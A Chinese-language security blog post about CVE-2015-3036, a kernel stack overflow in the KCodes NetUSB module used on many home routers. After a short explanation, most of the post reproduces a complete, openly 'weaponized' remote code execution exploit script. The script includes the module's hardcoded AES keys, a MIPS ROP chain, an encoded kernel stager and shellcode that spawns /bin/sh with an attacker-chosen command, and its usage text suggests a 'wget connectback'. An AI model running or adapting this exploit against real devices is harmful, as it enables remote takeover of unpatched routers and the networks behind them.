今年五月份知名路由器D-Link、NETGEAR、TP-LINK上重要驱动组件NetUSB被曝存在严重的远程溢出漏洞,影响数以百万计的路由和嵌入式设备。NetUSB技术由台湾企业盈码科(KCodes)开发。
科普:KCodes NetUSB
KCodes NetUSB是Linux内核模块,可通过IP提供USB设备网络共享功能。由台湾企业盈码科(KCodes)开发。
KCodes NetUSB模块的run_init_sbus函数存在栈缓冲区溢出漏洞,远程攻击者通过TCP端口20005上的会话,运行较长的计算机名,利用此漏洞可执行任意代码。此模块广泛使用在某些NETGEAR产品、TP-LINK产品等。
这个漏洞是由奥地利安全公司SEC Consult的研究员Stefan Viehbock提交的,漏洞的编号为CVE-2015-3036,当客户端发送计算机名到网络设备的服务端(TCP端口 20005)时,同该端口建立连接后,就可以触发这个漏洞。
如果客户端发送的计算机名长度大于64字符,会让含NetUSB模块的设备出现溢出,从而造成内存破坏。
Talk is cheap ,show me the code!
下面是一个武器化的远程命令执行脚本。
之前已经看到过很多个拒绝服务这种蛋疼的漏洞,放弃那些没个卵用的poc吧,这是个令人兴奋的代码执行。
脚本来自:http://haxx.in/blasty-vs-netusb.py
复制
#!/usr/bin/env python## CVE-2015-3036 - NetUSB Remote Code Execution exploit (Linux/MIPS) # ===========================================================================# This is a weaponized exploit for the NetUSB kernel vulnerability # discovered by SEC Consult Vulnerability Lab. [1]# # I don't like lazy vendors, I've seen some DoS PoC's floating around# for this bug.. and it's been almost five(!) months. So lets kick it up # a notch with an actual proof of concept that yields code exec.## So anyway.. a remotely exploitable kernel vulnerability, exciting eh. ;-)# # Smash stack, ROP, decode, stage, spawn userland process. woo!## Currently this is weaponized for one target device (the one I own, I was# planning on porting OpenWRT but got sidetracked by the NetUSB stuff in # the default firmware image, oooops. ;-D).## This python script is horrible, but its not about the glue, its about# the tech contained therein. Some things *may* be (intentionally?) botched..# lets see if "the community" cares enough to develop this any further,# I need to move on with life. ;-D# # Shoutouts to all my boys & girls around the world, you know who you are!## Peace,# -- blasty <peter@haxx.in> // 20151013## References:# [1] : https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt# /20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt#import os, sys, struct, socket, timefrom Crypto.Cipher import AESdef u32(v): return struct.pack("<L", v)def banner(): print "" print "## NetUSB (CVE-2015-3036) remote code execution exploit" print "## by blasty <peter@haxx.in>" print ""def usage(prog): print "usage : %s <host> <port> <cmd>" % (prog) print "example : %s 127.0.0.1 20005 'wget connectback..." % (prog) print ""banner()if len(sys.argv) != 4: usage(sys.argv[0]) exit(0)cmd = sys.argv[3]# Here's one, give us more! (hint: /proc/kallsyms and objdump, bro)targets = [ { "name" : "WNDR3700v5 - Linux 2.6.36 (mips32-le)", "kernel_base" : 0x80001000, # adjust to offset used in 'load_addr_and_jump' gadget # should be some big immediate to avoid NUL bytes "load_addr_offset" : 4156, "gadgets" : { # 8c42103c lw v0,4156(v0) # 0040f809 jalr v0 # 00000000 nop 'load_addr_and_jump' : 0x1f548, # 8fa20010 lw v0,16(sp) # 8fbf001c lw ra,28(sp) # 03e00008 jr ra # 27bd0020 addiu sp,sp,32 'load_v0_and_ra' : 0x34bbc, # 27b10010 addiu s1,sp,16 # 00602021 move a0,v1 # 0040f809 jalr v0 # 02202821 move a1,s1 'move_sp_plus16_to_s1' : 0x63570, # 0220f809 jalr s1 # 00000000 nop 'jalr_s1' : 0x63570, 'a_r4k_blast_dcache' : 0x6d4678, 'kmalloc' : 0xb110c, 'ks_recv' : 0xc145e270, 'call_usermodehelper_setup' : 0x5b91c, 'call_usermodehelper_exec' : 0x5bb20 } }]# im lazy, hardcoded to use the only avail. target for now# hey, at least I made it somewhat easy to easily add new targetstarget = targets[0]# hullo there.hello = "\x56\x03"# sekrit keyz that are hardcoded in netusb.ko, sorry KCodes# people, this is not how you implement auth. lol.aesk0 = "0B7928FF6A76223C21A3B794084E1CAD".decode('hex')aesk1 = "A2353556541CFE44EC468248064DE66C".decode('hex')key = aesk1 IV = "\x00"*16mode = AES.MODE_CBC aes = AES.new(key, mode, IV=IV)aesk0_d = aes.decrypt(aesk0)aes2 = AES.new(aesk0_d, mode, IV="\x00"*16)s = socket.create_connection((sys.argv[1], int(sys.argv[2], 0)))print "[>] sending HELLO pkt"s.send(hello)time.sleep(0.2)verify_data = "\xaa"*16print "[>] sending verify data"s.send(verify_data)time.sleep(0.2)print "[>] reading response"data = s.recv(0x200)print "[!] got %d bytes .." % len(data)print "[>] data: " + data.encode('hex')pkt = aes2.decrypt(data)print "[>] decr: " + pkt.encode("hex")if pkt[0:16] != "\xaa"*16: print "[!] error: decrypted rnd data mismatch :(" exit(-1)rnd = data[16:]aes2 = AES.new(aesk0_d, mode, IV="\x00"*16)pkt_c = aes2.encrypt(rnd)print "[>] sending back crypted random data"s.send(pkt_c)# Once upon a time.. d = "A"# hardcoded decoder_key, this one is 'safe' for the current stagerdecoder_key = 0x1337babf# NUL-free mips code which decodes the next stage,# flushes the d-cache, and branches there.# loosely inspired by some shit Julien Tinnes once wrote.decoder_stub = [ 0x0320e821, # move sp,t9 0x27a90168, # addiu t1,sp,360 0x2529fef0, # addiu t1,t1,-272 0x240afffb, # li t2,-5 0x01405027, # nor t2,t2,zero 0x214bfffc, # addi t3,t2,-4 0x240cff87, # li t4,-121 0x01806027, # nor t4,t4,zero 0x3c0d0000, # [8] lui t5, xorkey@hi 0x35ad0000, # [9] ori t5,t5, xorkey@lo 0x8d28fffc, # lw t0,-4(t1) 0x010d7026, # xor t6,t0,t5 0xad2efffc, # sw t6,-4(t1) 0x258cfffc, # addiu t4,t4,-4 0x140cfffb, # bne zero,t4,0x28 0x012a4820, # add t1,t1,t2 0x3c190000, # [16] lui t9, (a_r4k_blast_dcache-0x110)@hi 0x37390000, # [17] ori t9,t9,(a_r4k_blast_dcache-0x110)@lo 0x8f390110, # lw t9,272(t9) 0x0320f809, # jalr t9 0x3c181234, # lui t8,0x1234]# patch xorkey into decoder stubdecoder_stub[8] = decoder_stub[8] | (decoder_key >> 16)decoder_stub[9] = decoder_stub[9] | (decoder_key & 0xffff)r4k_blast_dcache = target['kernel_base']r4k_blast_dcache = r4k_blast_dcache + target['gadgets']['a_r4k_blast_dcache']# patch the r4k_blast_dcache address in decoder stubdecoder_stub[16] = decoder_stub[16] | (r4k_blast_dcache >> 16)decoder_stub[17] = decoder_stub[17] | (r4k_blast_dcache & 0xffff)# pad it outd += "A"*(233-len(d))# kernel payload stagerkernel_stager = [ 0x27bdffe0, # addiu sp,sp,-32 0x24041000, # li a0,4096 0x24050000, # li a1,0 0x3c190000, # [3] lui t9,kmalloc@hi 0x37390000, # [4] ori t9,t9,kmalloc@lo 0x0320f809, # jalr t9 0x00000000, # nop 0x0040b821, # move s7,v0 0x02602021, # move a0,s3 0x02e02821, # move a1,s7 0x24061000, # li a2,4096 0x00003821, # move a3,zero 0x3c190000, # [12] lui t9,ks_recv@hi 0x37390000, # [13] ori t9,t9,ks_recv@lo 0x0320f809, # jalr t9 0x00000000, # nop 0x3c190000, # [16] lui t9,a_r4k_blast_dcache@hi 0x37390000, # [17] ori t9,t9,a_r4k_blast_dcache@lo 0x8f390000, # lw t9,0(t9) 0x0320f809, # jalr t9 0x00000000, # nop 0x02e0f809, # jalr s7 0x00000000 # nop]kmalloc = target['kernel_base'] + target['gadgets']['kmalloc']ks_recv = target['gadgets']['ks_recv']# patch kernel stagerkernel_stager[3] = kernel_stager[3] | (kmalloc >> 16)kernel_stager[4] = kernel_stager[4] | (kmalloc & 0xffff)kernel_stager[12] = kernel_stager[12] | (ks_recv >> 16)kernel_stager[13] = kernel_stager[13] | (ks_recv & 0xffff)kernel_stager[16] = kernel_stager[16] | (r4k_blast_dcache >> 16)kernel_stager[17] = kernel_stager[17] | (r4k_blast_dcache & 0xffff)# a ROP chain for MIPS, always ew.rop = [ # this gadget will # v0 = *(sp+16) # ra = *(sp+28) # sp += 32 target['kernel_base'] + target['gadgets']['load_v0_and_ra'], # stack for the g_load_v0_and_ra gadget 0xaaaaaaa1, # sp+0 0xaaaaaaa2, # sp+4 0xaaaaaaa3, # sp+8 0xaaaaaaa4, # sp+12 r4k_blast_dcache - target['load_addr_offset'], # sp+16 / v0 0xaaaaaaa6, # sp+20 0xaaaaaaa7, # sp+24 # this gadget will # v0 = *(v0 + 4156) # v0(); # ra = *(sp + 20) # sp += 24 # ra(); target['kernel_base'] + target['gadgets']['load_addr_and_jump'], # sp+28 0xbbbbbbb2, 0xccccccc3, 0xddddddd4, 0xeeeeeee5, 0xeeeeeee6, # this is the RA fetched by g_load_addr_and_jump target['kernel_base'] + target['gadgets']['load_v0_and_ra'], # stack for the g_load_v0_and_ra gadget 0xaaaaaaa1, # sp+0 0xaaaaaaa2, # sp+4 0xaaaaaaa3, # sp+8 0xaaaaaaa4, # sp+12 target['kernel_base'] + target['gadgets']['jalr_s1'], # sp+16 / v0 0xaaaaaaa6, # sp+20 0xaaaaaaa7, # sp+24 target['kernel_base'] + target['gadgets']['move_sp_plus16_to_s1'], # ra # second piece of native code getting executed, pivot back in the stack 0x27b9febc, # t9 = sp - offset 0x0320f809, # jalr t9 0x3c181234, # nop 0x3c181234, # nop # first native code getting executed, branch back to previous 4 opcodes 0x03a0c821, # move t9, sp 0x0320f809, # jalr t9 0x3c181234,]# append rop chain to bufferfor w in rop: d += u32(w)# append decoder_stub to bufferfor w in decoder_stub: d += u32(w)# encode stager and append to bufferfor w in kernel_stager: d += u32(w ^ decoder_key)print "[>] sending computername_length.."time.sleep(0.1)s.send(struct.pack("<L", len(d)))print "[>] sending payload.."time.sleep(0.1)s.send(d)time.sleep(0.1)print "[>] sending stage2.."# a useful thing to do when you bust straight into the kernel # is to go back to userland, huhuhu.# thanks to jix for the usermodehelper suggestion! :)kernel_shellcode = [ 0x3c16dead, # lui s6,0xdead 0x3c19dead, # lui t9,0xdead 0x3739c0de, # ori t9,t9,0xc0de 0x2404007c, # li a0, argv 0x00972021, # addu a0,a0,s7 0x2405008c, # li a1, argv0 0x00b72821, # addu a1,a1,s7 0xac850000, # sw a1,0(a0) 0x24050094, # li a1, argv1 0x00b72821, # addu a1,a1,s7 0xac850004, # sw a1,4(a0) 0x24060097, # li a2, argv2 0x00d73021, # addu a2,a2,s7 0xac860008, # sw a2,8(a0) 0x00802821, # move a1,a0 0x2404008c, # li a0, argv0 0x00972021, # addu a0,a0,s7 0x24060078, # li a2, envp 0x00d73021, # addu a2,a2,s7 0x24070020, # li a3,32 0x3c190000, # [20] lui t9,call_usermodehelper_setup@hi 0x37390000, # [21] ori t9,t9,call_usermodehelper_setup@lo # call_usermodehelper_setup(argv[0], argv, envp, GPF_ATOMIC) 0x0320f809, # jalr t9 0x00000000, # nop 0x00402021, # move a0,v0 0x24050002, # li a1,2 0x3c190000, # [26] lui t9,call_usermodehelper_exec@hi 0x37390000, # [27] ori t9,t9,call_usermodehelper_exec@lo # call_usermodehelper_exec(retval, UHM_WAIT_PROC) 0x0320f809, # jalr t9 0x00000000, # nop # envp ptr 0x00000000, # argv ptrs 0x00000000, 0x00000000, 0x00000000, 0x00000000]usermodehelper_setup = target['gadgets']['call_usermodehelper_setup']usermodehelper_exec = target['gadgets']['call_usermodehelper_exec']# patch call_usermodehelper_setup into kernel shellcodekernel_shellcode[20] = kernel_shellcode[20] | (usermodehelper_setup>>16)kernel_shellcode[21] = kernel_shellcode[21] | (usermodehelper_setup&0xffff)# patch call_usermodehelper_setup into kernel shellcodekernel_shellcode[26] = kernel_shellcode[26] | (usermodehelper_exec>>16)kernel_shellcode[27] = kernel_shellcode[27] | (usermodehelper_exec&0xffff)payload = ""for w in kernel_shellcode: payload += u32(w)payload += "/bin/sh\x00"payload += "-c\x00"payload += cmd# and now for the moneyshots.send(payload)print "[~] KABOOM! Have a nice day."
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
215.
216.
217.
218.
219.
220.
221.
222.
223.
224.
225.
226.
227.
228.
229.
230.
231.
232.
233.
234.
235.
236.
237.
238.
239.
240.
241.
242.